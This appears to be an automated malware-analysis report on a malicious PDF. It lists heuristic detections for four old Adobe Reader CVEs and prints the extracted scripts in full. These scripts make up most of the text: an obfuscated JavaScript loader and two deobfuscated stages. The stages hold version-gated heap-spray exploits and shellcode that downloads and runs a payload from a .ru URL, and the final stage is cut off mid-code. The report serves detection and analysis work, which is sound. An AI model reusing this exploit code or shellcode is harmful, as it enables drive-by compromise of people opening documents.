MALICIOUS
490
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The script is designed to download and execute a second-stage payload from the URL http://2.ihxqduh.ru/a.php?f=9&e=5. This indicates a clear intent to compromise the user's system through exploit execution.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://2.ihxqduh.ru/a.php?f=9&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x369 | 11793 bytes |
SHA-256: 54b45f7621532839cf2494ee6efd54d8a870fefe5732525c61b8fe67e3fb8074 |
|||
Preview scriptFirst 1,000 lines of the extracted script
nk="";
nk+='sl';
nk+="i";
nk+="ce";
j='gerb43bt';
j=j[nk];
z
=
new
Array(68,28,55,10,40,41,43,4,21,45,39,74,20,15,17,17,39,74,75,72,14,34,39,74,20,23,75,72,39,74,52,23,14,34,39,74,14,61,15,34,39,74,15,15,23,75,39,74,17,34,72,22,39,74,34,22,20,40,39,74,20,40,15,22,39,74,22,72,34,22,39,74,52,22,20,40,39,74,23,17,49,72,39,74,52,17,20,40,39,74,15,15,22,20,39,74,17,17,25,40,39,74,23,14,20,40,39,74,22,15,15,72,39,74,15,15,52,34,39,74,20,49,12,72,39,74,49,23,14,14,39,74,75,75,49,22,39,74,40,20,75,75,39,74,34,22,20,40,39,74,72,15,15,22,39,74,15,61,34,17,39,74,52,23,22,17,39,74,20,52,75,40,39,74,12,34,15,34,39,74,14,34,20,23,39,74,23,49,52,23,39,74,14,40,14,61,39,74,23,49,34,72,39,74,20,40,23,17,39,74,15,72,52,23,39,74,52,34,20,40,39,74,52,20,15,23,39,74,75,23,22,15,39,74,20,40,23,17,39,74,12,22,52,17,39,74,75,23,22,15,39,74,72,61,15,15,39,74,34,49,34,61,39,74,28,25,75,72,39,74,72,23,22,15,39,74,25,40,15,15,39,74,40,14,22,75,39,74,15,20,49,22,39,74,52,34,75,12,39,74,72,49,22,20,39,74,22,25,72,40,39,74,25,28,22,15,39,74,14,40,34,22,39,74,15,40,75,49,39,74,52,23,49,75,39,74,23,14,14,17,39,74,23,14,20,40,39,74,22,15,12,34,39,74,17,17,25,25,39,74,22,72,20,40,39,74,20,25,34,40,39,74,14,72,34,17,39,74,23,34,75,75,39,74,22,72,12,34,39,74,25,20,20,40,39,74,25,25,22,15,39,74,22,34,20,40,39,74,22,15,20,40,39,74,28,40,72,23,39,74,23,61,23,14,39,74,14,40,72,15,39,74,28,25,23,15,39,74,17,20,20,40,39,74,20,22,12,22,39,74,22,72,52,25,39,74,52,34,15,15,39,74,61,17,22,15,39,74,75,15,14,40,39,74,17,20,20,40,39,74,20,40,22,20,39,74,17,28,75,52,39,74,23,61,22,23,39,74,61,20,14,20,39,74,75,75,75,75,39,74,14,12,75,75,39,74,14,20,75,61,39,74,22,22,22,22,39,74,22,22,22,22,39,74,23,22,23,20,39,74,34,22,17,28,39,74,75,75,17,20,39,74,22,22,22,22,39,74,23,22,22,22,39,74,72,22,20,15,39,74,23,22,49,61,39,74,20,40,23,23,39,74,20,40,14,72,39,74,49,22,23,14,39,74,72,15,20,15,39,74,75,75,22,23,39,74,17,20,14,15,39,74,17,14,17,75,39,74,22,22,22,22,39,74,52,23,17,20,39,74,17,72,52,12,39,74,23,34,17,25,39,74,49,17,75,75,39,74,72,34,20,15,39,74,20,40,22,20,39,74,14,20,14,20,39,74,75,75,17,49,39,74,75,75,75,75,39,74,22,12,14,40,39,74,52,12,14,40,39,74,14,72,20,49,39,74,22,49,22,34,39,74,22,22,22,22,39,74,23,72,20,25,39,74,22,72,12,34,39,74,22,34,72,52,39,74,52,12,12,34,39,74,17,52,17,23,39,74,72,52,52,15,39,74,12,34,34,34,39,74,52,17,22,34,39,74,15,15,52,12,39,74,72,52,15,12,39,74,12,34,34,34,39,74,12,22,22,20,39,74,52,15,12,25,39,74,23,15,12,22,39,74,75,20,17,20,39,74,22,22,22,22,39,74,75,75,22,22,39,74,22,72,23,17,39,74,14,20,20,40,39,74,72,61,15,15,39,74,72,52,23,49,39,74,49,25,34,34,39,74,52,52,22,22,39,74,17,12,52,22,39,74,72,52,52,34,39,74,49,25,34,34,39,74,12,14,22,23,39,74,17,72,17,34,39,74,72,17,17,72,39,74,49,25,34,34,39,74,22,22,22,61,39,74,20,28,23,61,39,74,22,34,72,49,39,74,20,20,15,22,39,74,49,25,34,34,39,74,34,49,22,34,39,74,17,28,23,49,39,74,17,28,22,22,39,74,23,15,22,22,39,74,17,28,23,52,39,74,75,75,22,22,39,74,49,34,23,17,39,74,72,22,20,23,39,74,49,17,52,23,39,74,22,22,17,28,39,74,75,75,23,15,39,74,22,34,23,17,39,74,22,22,17,28,39,74,14,40,20,15,39,74,23,15,22,72,39,74,23,17,75,75,39,74,20,15,22,34,39,74,22,72,72,15,39,74,22,12,14,40,39,74,49,15,14,40,39,74,20,22,34,52,39,74,22,22,15,75,39,74,75,28,52,23,39,74,20,22,34,52,39,74,22,22,15,75,39,74,72,34,52,23,39,74,22,22,17,28,39,74,75,14,17,28,39,74,23,17,75,75,39,74,14,20,22,20,39,74,75,14,61,72,39,74,75,75,75,75,39,74,34,14,20,14,39,74,14,72,22,14,39,74,75,14,61,20,39,74,22,14,20,28,39,74,17,75,20,61,39,74,40,25,22,49,39,74,72,28,15,15,39,74,23,40,20,28,39,74,72,17,49,40,39,74,52,61,34,17,39,74,49,28,15,17,39,74,52,22,12,75,39,74,52,34,17,20,39,74,52,22,52,34,39,74,12,75,15,28,39,74,15,12,12,75,39,74,17,61,12,14,39,74,52,20,17,20,39,74,17,34,52,49,39,74,17,20,52,23,39,74,52,12,12,14,39,74,12,75,52,23,39,74,12,14,17,49,39,74,17,20,52,22,39,74,15,75,52,22,39,74,15,25,17,17,39,74,12,17,15,61,39,74,15,25,17,23,39,74,22,22,15,23,39,74,22,22,22,22,45,32,75,74,65,72,64,11,2,65,10,14,60,68,55,42,55,28,36,63,70,6,31,51,62,11,37,14,42,55,28,73,37,14,65,4,64,62,67,12,0,63,70,6,31,55,28,57,21,55,28,32,35,55,28,21,55,28,73,43,74,40,43,64,55,11,65,4,42,22,36,63,70,46,12,6,32,55,14,64,74,55,65,10,55,28,32,35,10,75,74,65,72,64,11,2,65,10,40,1,42,6,31,68,28,55,10,25,33,4,21,65,14,51,10,56,55,55,28,70,42,6,32,68,28,55,10,68,51,21,22,1,22,72,22,72,22,72,22,72,32,68,28,55,10,28,25,25,55,21,22,1,34,22,22,22,22,22,32,68,28,55,10,9,28,70,37,2,28,25,21,74,65,14,43,72,28,9,14,42,40,41,43,4,6,32,68,28,55,10,43,72,24,37,14,65,21,9,28,70,37,2,28,25,73,37,14,65,4,64,62,67,12,32,68,28,55,10,63,70,21,28,25,25,55,8,42,43,72,24,37,14,65,57,22,1,15,20,6,32,68,28,55,10,70,28,55,43,9,21,74,65,14,43,72,28,9,14,42,26,39,74,61,22,61,22,39,74,61,22,61,22,26,6,32,70,28,55,43,9,21,14,60,68,55,42,70,28,55,43,9,36,63,70,6,32,68,28,55,10,72,2,74,65,64,12,21,42,68,51,8,22,1,34,22,22,22,22,22,6,46,28,25,25,55,32,75,2,55,42,68,28,55,10,72,2,74,65,64,21,22,32,72,2,74,65,64,0,72,2,74,65,64,12,32,72,2,74,65,64,57,57,6,31,25,33,4,59,72,2,74,65,64,53,21,70,28,55,43,9,57,9,28,70,37,2,28,25,32,35,10,68,28,55,10,2,68,14,55,75,37,2,51,21,74,65,14,43,72,28,9,14,42,26,39,74,22,72,22,72,39,74,22,72,22,72,26,6,32,51,62,11,37,14,42,2,68,14,55,75,37,2,51,73,37,14,65,4,64,62,0,34,34,61,23,12,6,31,2,68,14,55,75,37,2,51,57,21,2,68,14,55,75,37,2,51,32,35,10,64,62,11,43,73,72,2,37,37,28,40,3,64,2,55,14,21,5,2,37,37,28,40,73,72,2,37,37,14,72,64,18,44,28,11,37,69,65,75,2,42,31,43,74,40,41,30,26,26,36,44,43,4,30,2,68,14,55,75,37,2,51,35,6,32,35,10,75,74,65,72,64,11,2,65,10,9,55,11,65,64,75,42,6,31,65,2,9,21,74,65,14,43,72,28,9,14,42,26,39,74,22,56,22,56,39,74,22,56,22,56,39,74,22,56,22,56,39,74,22,56,22,56,26,6,32,68,28,55,10,9,28,70,37,2,28,25,21,74,65,14,43,72,28,9,14,42,40,41,43,4,6,32,62,14,28,9,40,37,2,72,33,21,65,2,9,57,9,28,70,37,2,28,25,32,40,11,4,40,37,2,72,33,21,74,65,14,43,72,28,9,14,42,26,39,74,22,56,22,56,39,74,22,56,22,56,26,6,32,62,14,28,25,14,55,43,11,60,14,21,12,22,32,43,9,55,28,70,21,62,14,28,25,14,55,43,11,60,14,57,62,14,28,9,40,37,2,72,33,73,37,14,65,4,64,62,32,51,62,11,37,14,42,40,11,4,40,37,2,72,33,73,37,14,65,4,64,62,0,43,9,55,28,70,6,31,40,11,4,40,37,2,72,33,57,21,40,11,4,40,37,2,72,33,32,35,10,75,11,37,37,40,37,2,72,33,21,40,11,4,40,37,2,72,33,73,43,74,40,43,64,55,11,65,4,42,22,36,43,9,55,28,70,6,32,40,37,2,72,33,21,40,11,4,40,37,2,72,33,73,43,74,40,43,64,55,11,65,4,42,22,36,40,11,4,40,37,2,72,33,73,37,14,65,4,64,62,8,43,9,55,28,70,6,32,51,62,11,37,14,42,40,37,2,72,33,73,37,14,65,4,64,62,57,43,9,55,28,70,0,22,1,34,22,22,22,22,6,31,40,37,2,72,33,21,40,37,2,72,33,57,40,37,2,72,33,57,75,11,37,37,40,37,2,72,33,32,35,10,44,14,44,21,65,14,51,10,56,55,55,28,70,42,6,32,75,2,55,42,11,21,22,32,11,0,49,34,22,22,32,11,57,57,6,31,44,14,44,59,11,53,21,40,37,2,72,33,57,62,14,28,9,40,37,2,72,33,32,35,10,68,28,55,10,65,74,44,21,49,12,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,32,74,64,11,37,73,9,55,11,65,64,75,42,26,39,34,23,22,22,22,75,26,36,65,74,44,6,32,35,10,75,74,65,72,64,11,2,65,10,4,14,64,11,72,2,65,42,6,31,68,28,55,10,28,55,55,70,21,65,14,51,10,56,55,55,28,70,42,6,32,11,75,42,28,9,9,73,25,2,72,73,5,2,37,37,28,40,73,4,14,64,69,72,2,65,6,31,68,28,55,10,9,28,70,37,2,28,25,21,74,65,14,43,72,28,9,14,42,40,41,43,4,6,32,68,28,55,10,62,19,63,23,22,22,5,47,21,9,28,70,37,2,28,25,73,37,14,65,4,64,62,67,12,32,68,28,55,10,63,70,21,22,1,34,22,22,22,22,22,8,42,62,19,63,23,22,22,5,47,57,22,1,15,20,6,32,68,28,55,10,70,28,55,43,9,21,74,65,14,43,72,28,9,14,42,26,39,74,61,22,61,22,39,74,61,22,61,22,26,6,32,70,28,55,43,9,21,14,60,68,55,42,70,28,55,43,9,36,63,70,6,32,68,28,55,10,9,23,56,41,50,17,23,75,21,42,22,1,22,72,22,72,22,72,22,72,8,22,1,34,22,22,22,22,22,6,46,22,1,34,22,22,22,22,22,32,75,2,55,42,68,28,55,10,68,63,72,13,58,61,17,70,21,22,32,68,63,72,13,58,61,17,70,0,9,23,56,41,50,17,23,75,32,68,63,72,13,58,61,17,70,57,57,6,31,28,55,55,70,59,68,63,72,13,58,61,17,70,53,21,70,28,55,43,9,57,9,28,70,37,2,28,25,32,35,10,68,28,55,10,64,27,38,62,47,40,71,51,21,74,65,14,43,72,28,9,14,42,26,39,22,61,26,6,32,51,62,11,37,14,42,64,27,38,62,47,40,71,51,73,37,14,65,4,64,62,0,22,1,34,22,22,22,6,31,64,27,38,62,47,40,71,51,57,21,64,27,38,62,47,40,71,51,32,35,10,64,27,38,62,47,40,71,51,21,26,47,73,26,57,64,27,38,62,47,40,71,51,32,28,9,9,73,25,2,72,73,5,2,37,37,28,40,73,4,14,64,69,72,2,65,42,64,27,38,62,47,40,71,51,6,32,35,35,10,28,29,37,74,4,11,65,43,21,28,9,9,73,9,37,74,4,69,65,43,32,68,28,55,10,43,68,21,9,28,55,43,14,69,65,64,42,28,9,9,73,68,11,14,51,14,55,16,14,55,43,11,2,65,73,64,2,3,64,55,11,65,4,42,6,73,72,62,28,55,56,64,42,22,6,6,32,75,2,55,42,68,28,55,10,11,21,22,32,11,0,28,29,37,74,4,11,65,43,73,37,14,65,4,64,62,32,11,57,57,6,31,11,75,42,28,29,37,74,4,11,65,43,59,11,53,73,65,28,44,14,21,21,45,18,3,72,55,11,9,64,45,6,31,68,28,55,10,37,68,21,28,29,37,74,4,11,65,43,59,11,53,73,68,14,55,43,11,2,65,32,35,35,10,11,75,42,42,37,68,21,21,61,6,66,66,42,42,43,68,21,21,20,6,54,54,42,37,68,0,21,20,73,49,12,6,6,6,31,4,14,64,11,72,2,65,42,6,32,35,14,37,43,14,10,11,75,42,37,68,21,21,52,73,49,6,31,9,55,11,65,64,75,42,6,32,35,14,37,43,14,10,11,75,42,42,42,43,68,21,21,17,6,66,66,42,43,68,21,21,52,6,6,54,54,42,37,68,0,52,73,49,49,6,6,31,40,1,42,6,32,35,14,37,43,14,10,11,75,42,42,37,68,48,21,61,73,49,6,66,66,42,37,68,0,21,61,73,12,6,66,66,42,37,68,48,21,20,73,49,15,6,66,66,42,37,68,0,21,20,73,49,52,6,6,31,75,74,65,72,64,11,2,65,10,28,42,6,31,74,64,11,37,73,9,55,11,65,64,25,42,45,9,7,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,49,10,30,10,70,70,70,70,49,49,49,45,36,65,14,51,10,58,28,64,14,42,6,6,32,35,68,28,55,10,62,21,28,9,9,73,9,37,74,4,69,65,43,32,75,2,55,42,68,28,55,10,75,21,22,32,75,0,62,73,37,14,65,4,64,62,32,75,57,57,6,31,11,75,42,62,59,75,53,73,65,28,44,14,21,21,45,18,3,72,55,11,9,64,45,6,31,68,28,55,10,11,21,62,59,75,53,73,68,14,55,43,11,2,65,32,35,35,10,11,75,42,42,11,48,20,73,49,12,6,54,54,42,11,0,20,73,12,6,6,31,72,21,65,14,51,10,56,55,55,28,70,42,6,32,68,28,55,10,25,21,74,65,14,43,72,28,9,14,42,45,39,74,61,22,61,22,39,74,61,22,61,22,45,6,32,68,28,55,10,14,21,74,65,14,43,72,28,9,14,42,40,41,43,4,6,32,51,62,11,37,14,42,25,73,37,14,65,4,64,62,0,21,22,1,20,22,22,22,6,31,25,57,21,25,32,35,25,21,25,73,43,74,40,43,64,55,42,22,36,22,1,20,22,22,22,8,14,73,37,14,65,4,64,62,6,32,75,2,55,42,75,21,22,32,75,0,12,61,22,22,32,75,57,57,6,31,72,59,75,53,21,25,57,14,32,35,28,42,6,32,28,42,6,32,64,55,70,31,64,62,11,43,73,44,14,25,11,28,73,65,14,51,29,37,28,70,14,55,42,65,74,37,37,6,32,35,72,28,64,72,62,42,14,6,31,35,28,42,6,32,35,35);
a="<xoSgC)@-p i2Qe3V6EW8=05_d'UaP:{;k4},lM%bj(sm'/N>1Kw7]&rA+D[z9hqtn|*vIyGc.uf";
b="a"+'l';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=
e[
b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{
n=i;
if(!google.search())throw 1;}catch(q){
s
+=
a[
z[n]];
}
}}
try{if(/x(?=y)/.test('axyb'))throw 1;}catch(q){e(s);}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x369 | 3846 bytes |
SHA-256: afbfa1012633b5d214f6ecf52b5f72d71a5b8d96f5780ba0b858816d7609d027 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u322f%u692e%u7868%u6471%u6875%u722e%u2f75%u2e61%u6870%u3f70%u3d66%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x369 | 3842 bytes |
SHA-256: 45dcdbb438268846b3d9cd1fc1ef745a9b6bd38c2ed9cf7ad2ec6b4dab3a7420 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u322f%u692e%u7868%u6471%u6875%u722e%u2f75%u2e61%u6870%u3f70%u3d66%u2639%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var 